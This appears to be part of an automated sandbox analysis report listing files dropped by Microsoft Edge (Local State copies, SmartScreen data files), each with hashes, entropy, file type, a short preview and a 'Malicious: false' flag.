SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMRwuF9hDO6vP6O+ltbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6stbz8hu3VlXr4CRo1
MD5:	BAEC291F464718CC9E6778BCEBEEACB0
SHA1:	A8FE9983436D8CF3467C5A45CFE89B3BD0CE0D31
SHA-256:	3FD6A22DE07B419BDEB7420656612E92D179478D1F05410F22980F806336C0E0
SHA-512:	5622E51B342F9A226367CED082E9899F7102E5B6B9878FDD8F1CEC8100EF1414244C52BA1D9622B1C4AD95C10E27801A6CF22CD9BD130B7A001C44339EDA5CC9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37b2c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09067746771702
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMRwuF9hDO6vP6O+ltbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6stbz8hu3VlXr4CRo1
MD5:	BAEC291F464718CC9E6778BCEBEEACB0
SHA1:	A8FE9983436D8CF3467C5A45CFE89B3BD0CE0D31
SHA-256:	3FD6A22DE07B419BDEB7420656612E92D179478D1F05410F22980F806336C0E0
SHA-512:	5622E51B342F9A226367CED082E9899F7102E5B6B9878FDD8F1CEC8100EF1414244C52BA1D9622B1C4AD95C10E27801A6CF22CD9BD130B7A001C44339EDA5CC9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a1de.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09067746771702
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMRwuF9hDO6vP6O+ltbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6stbz8hu3VlXr4CRo1
MD5:	BAEC291F464718CC9E6778BCEBEEACB0
SHA1:	A8FE9983436D8CF3467C5A45CFE89B3BD0CE0D31
SHA-256:	3FD6A22DE07B419BDEB7420656612E92D179478D1F05410F22980F806336C0E0
SHA-512:	5622E51B342F9A226367CED082E9899F7102E5B6B9878FDD8F1CEC8100EF1414244C52BA1D9622B1C4AD95C10E27801A6CF22CD9BD130B7A001C44339EDA5CC9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e63a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09067746771702
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMRwuF9hDO6vP6O+ltbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6stbz8hu3VlXr4CRo1
MD5:	BAEC291F464718CC9E6778BCEBEEACB0
SHA1:	A8FE9983436D8CF3467C5A45CFE89B3BD0CE0D31
SHA-256:	3FD6A22DE07B419BDEB7420656612E92D179478D1F05410F22980F806336C0E0
SHA-512:	5622E51B342F9A226367CED082E9899F7102E5B6B9878FDD8F1CEC8100EF1414244C52BA1D9622B1C4AD95C10E27801A6CF22CD9BD130B7A001C44339EDA5CC9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48b16.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09067746771702
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMRwuF9hDO6vP6O+ltbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6stbz8hu3VlXr4CRo1
MD5:	BAEC291F464718CC9E6778BCEBEEACB0
SHA1:	A8FE9983436D8CF3467C5A45CFE89B3BD0CE0D31
SHA-256:	3FD6A22DE07B419BDEB7420656612E92D179478D1F05410F22980F806336C0E0
SHA-512:	5622E51B342F9A226367CED082E9899F7102E5B6B9878FDD8F1CEC8100EF1414244C52BA1D9622B1C4AD95C10E27801A6CF22CD9BD130B7A001C44339EDA5CC9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4e878.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09067746771702
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMRwuF9hDO6vP6O+ltbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6stbz8hu3VlXr4CRo1
MD5:	BAEC291F464718CC9E6778BCEBEEACB0
SHA1:	A8FE9983436D8CF3467C5A45CFE89B3BD0CE0D31
SHA-256:	3FD6A22DE07B419BDEB7420656612E92D179478D1F05410F22980F806336C0E0
SHA-512:	5622E51B342F9A226367CED082E9899F7102E5B6B9878FDD8F1CEC8100EF1414244C52BA1D9622B1C4AD95C10E27801A6CF22CD9BD130B7A001C44339EDA5CC9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.0184321219763595
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVMNNRiy:YWLSGTt1o9LuLgfGBPAzkVj/T8leN2y
MD5:	4C1611D54DA0E755AC09323BCE7AFEC8
SHA1:	8064DCB7F320A1158C2D0F992BD915321068DB9E
SHA-256:	356363A3FE735CFB75E113C07249664663F0AAF404CC3A9CF621E8E7B2792270
SHA-512:	1CD20767EDE7B27D4422F582A67DFC50D52F6CE86BF0DF6375E492F06BC2FABCB7CA14794B142F08D1224BACFA67446AA2EB21794DDC2297E1B8D13CE30425F4
Malicious:	false
